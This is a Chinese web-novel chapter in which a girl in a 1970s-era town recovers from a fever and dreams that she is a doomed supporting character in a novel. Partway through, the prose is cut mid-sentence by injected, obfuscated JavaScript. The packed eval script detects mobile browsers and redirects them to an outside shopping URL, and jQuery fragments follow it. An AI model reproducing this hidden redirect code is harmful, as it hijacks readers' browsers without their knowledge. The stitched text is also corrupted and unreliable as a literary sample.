正值四月。
冬去春来,万物复苏的好时候。
这日清晨,松溪镇的人们就已经忙碌起来。
在田垄间弓身劳作的,蹬着二八大杠赶着去上早班的,河边一边洗衣一边闲聊的,路上来往匆匆的……嘈嘈杂杂的声音时不时传进门内。
一个挽着发髻的妇人正利落地做着早饭,不一会儿,桌上就摆好了几个窝窝头,咸菜,三个煮鸡蛋并三碗清粥。
妇人摘了围裙,走到里屋门前,扣了几下门,要喊女儿起来,可她喊了几声却不见人应。
她正纳闷,推开小屋的木门,就见躺在床上的女儿脸上带着不正常的潮红,额头也有细汗。
许晓梅三步并作两步上前,赶忙一探,糟了,她连忙叫道:“老沈,快,快去请刘大夫,阿婉发烧了。”
她手上动作不停,拿了搪瓷盆,涮一把湿毛巾给沈盈婉盖住额头。
嘴上还念叨着,“这怎么突然发起烧来了!”
沈盈婉是她最小的女儿,早年生活条件没那么好,也吃过一阵儿苦,尤其第一胎还是双胞胎,吃不饱穿不暖也是常有的事。后来两个儿子渐渐大了,沈春也成为了正式的老师,加上她也是职工,生活才慢慢好起来,又接连生了两个女儿,她便不愿再苦着孩子。
虽说她对几个娃都是爱护的,可小女儿既是老来得子,又懂事贴心,一家人都拿她当宝贝,即使是头疼脑热的小毛病,她也着实担心。
松溪镇地方倒不偏僻,生活条件也比农村好上一些,不仅有卫生所,还有供销社,中小学,距离县城也不过半小时公交的路程,县里有医院,但一般头疼脑热的小病,大家就在镇上的卫生所看看便罢。
外头的兵荒马乱沈盈婉根本不知道,她正在做一个很荒诞的梦。
梦里的画面很真实,又很陌生。
原来她处的世界是一本年代文。
而她不是女主,只是一个痴缠男主的女配。
自从十几岁的时候喜欢上男主陈朗,她就满心满眼都是他。
可惜陈朗只将她当做妹妹,他喜欢的人是女主苏云冉,沈盈婉接受不了这样的现实。
她鬼迷心窍,发了疯一样做了很多破坏男女主的事,结局显而易见,男女主历经千难万险修成正果,而她在得知陈朗和苏云冉结婚的消息后,一蹶不振,整天浑浑噩噩的。
后来,心灰意冷的她遵从父母的意思嫁给了娃娃亲对象秦君乔。
婚后是什么样无从得知,只知道年纪轻轻就香消玉殒了。
她眉头紧皱,沉浸在梦里,满头细汗,好像很痛苦的样子。
许晓梅一直陪在床边,见她这样更担心了,好在沈春一来一去很快,不过一会儿就把刘大夫请过来了。
刘大夫一阵忙活,量了体温,只说大概是倒春寒着凉了,开了些退烧药。
刘大夫很是尽责,说最近倒春寒,很多人都会有感冒的症状,等退了烧再观察观察。
临走前又交代说有什么不对再来喊他,沈春和许晓梅自然答应,好生送刘大夫出去。
沈盈婉醒的时候,已经日上三竿,看到许晓梅坐在一边,她张张口想说什么,却发觉嗓子很是干涩,咳了两声。
许晓梅发现她醒了,惊喜道:“阿婉,你醒啦!”
又拿手重新探了探她的额头,才放心,“没那么烫了,看来是退烧了。”
早在她半梦半醒间,许晓梅已经给她喂过药了。
许晓梅把她扶起来,又拿了水和鸡蛋给她,沈盈婉看着被塞到手里的东西,还有些发懵。
许晓梅唠叨一番,沈盈婉只能好声好气说没事,又和母亲大人保证会注意保暖云云,许晓梅这才作罢,放心的出去了。
沈盈婉看着盖在身上的棉被,这是许晓梅专门给她缝的,布料印着大红花。
她手不自觉攥紧了被子,有些烦躁,什么工具人女配啊,晦气!
沈盈婉:…… 就很荒唐!
她生得一副好样貌,不说十里八乡,在他们这一片乡镇上,是出了名的。
沈盈婉从小父母疼爱,生活美满,在这个年代,别人家的孩子都在下地干农活的时候,她在上学,而且还读到了高中毕业,可以说是很难得的了。
她的一生本该平淡而幸福,哪里想到会落得那样的结局。
要不是么梦里的画面太过真实,一切的发展又都能对应的上,她根本不敢相信。
她叹了一口气,真是作孽了啊~
“阿婉,你在屋里吗?”
沈盈婉正沉思,冷不丁听到姥姥的声音,她翻下床来,“我在呢!姥姥。”
只见杨芸茹进到门内,脸上挂着一个慈祥的笑,手里拎着一个塑料袋,说道:“家里刚得了几个苹果,我和你姥爷牙口不好,给你吃是正好。”
她姥家离着这里不远,经常有个什么吃食,姥姥就会记挂着她。
沈盈婉有些酸涩,她扑到杨芸茹怀里,“姥姥!”
她把头搭到杨芸茹肩上,闻到杨芸茹身上的味道,那是用肥皂搓洗衣服留下的,很清新,也很令人安心。
听她声音闷闷的,可把杨芸茹吓坏了,“怎么了?阿婉,是不是还不舒服?我来的时候刚巧碰到你妈出门,可听她说了。你这孩子可得注意着保暖,虽说天气已经有些回暖,可早晚还是很凉的!”杨芸茹和许晓梅不愧是母女,就是爱唠叨的劲都一样一样的。
“你从小就没干过什么农活,身体也较弱。我跟你讲,你可不要不当回事,年纪轻的时候不注意,老了要吃苦的!”
沈盈婉也不嫌,她知道她们都是心疼自己。
她从姥姥怀里离开,坐直身子,控制着情绪,缓缓说道:“没事,姥姥,我已经好了,你看看,我这不是好好的。”
她扬起一个笑,继续说道:“应该就是倒春寒,发烧发得急,现在退下烧去,我一点都不难受了!我就是好久不见你嘛,有没有想我啊姥姥~”
杨芸茹可不管上一次见才过去四五天,她就喜欢小外孙女腻乎自己。
当下就乐呵呵的抱着沈盈婉不撒手了,好一会儿,才依依不舍的放开。
沈盈婉感叹,真好啊,她有疼爱自己的亲人。
沈家的条件算不错
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102829|195748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,爸爸沈春是镇上中学的老师,每个月工资也有五十多,别人家只有逢年过节才吃的上鸡蛋红糖,于沈盈婉家却能时常吃到。
何况许晓梅同志也从不在吃食上苦了孩子,做菜也舍得放油,虽说舍得那也只是相对来说的,这年代大家都是能省则省,可即便如此,多出一点点油那菜也是更有滋味些,长年累月下来,沈家的孩子倒比别人家的孩子看着更水灵健康些。
许晓梅也是纺织厂女工,有自己的工资,不过人到中年,她偶尔会腰疼,沈春心疼她,不愿她再干,何况这些年家里有些积蓄,沈春也自诩一个人养家足够了。
正逢大闺女沈盈欢要结婚,许晓梅也认为女人有份工作才更有底气,就把工作转给了沈盈欢。
沈家思想开明,沈春早早就和孩子们分了家,现在虽说不一起住,可几个孩子之间关系都极好。
老大沈柏和老二沈棠也都已经成家了。
大儿子在部队当兵,大儿媳也去随军了,轻易见不着。
可是二儿子住得近,往家里走动得勤,不是蹭饭就是送吃的拿用的。
大闺女嫁到了县里,回来得坐公交,但也只要半个小时的功夫。
现在幺女也高中毕业了,眼看着是长成了。
眼看着几个孩子都好,许晓梅和沈春自然乐得开心。
沈盈婉想到自己这一家人,不自觉笑起来。
一定不能重蹈覆辙,她告诉自己。
现在她和陈朗也就是偶尔碰见打个招呼的关系,她也不曾把原来那暗恋的心思宣之于口。要说陈朗不愧是书里的男主,长得一副好样貌,最关键是举手投足有一种温润如玉的感觉,不像乡下人,倒像是谁家的小公子。
陈朗也是镇上为数不多读了高中的,原本跟着一个老大夫做学徒,后来得了推荐,去了县医院,虽说还没有转正,可照他的本事,那是迟早的事。
这样的好条件,谁家都眼馋,恨不得把自己女儿嫁过去,可惜大家也都知道,人家不是会困在这镇上的人,自然是眼光高,于是只能遗憾的歇了心思。
沈盈婉皱起眉头,又想到秦君乔,要她看,秦君乔也很俊嘛,比陈朗也不差。
说起来,秦君乔也可怜,小小年纪亲妈就去世了,从那之后,他的日子就难过起来。
秦父又续娶了之后的继母,新婚燕尔,没多久就给他填了一个弟弟。
久而久之,他就彻底成了家里的外人。
不过梦里并没有过多关于她和秦君乔结婚后的信息,她想,可能因为梦到的是书里的剧情,大篇幅都是讲主角的。
而她这个女配,在书里自然是没有过多着墨的,就连她去世的消息,也是在苏云冉和陈朗的对话中提到的。
至于是怎么病故的,书里没写。
她想,很大概率是常年郁结导致的心病吧。
不过,为了防患于未然,还是应该检查一下身体,她可不想早死啊。
想通了这些,她视线放在被面的大红花上,花团锦簇,好不生动。
良久,沈盈婉暗自松了口气,她想,她还是很幸运的。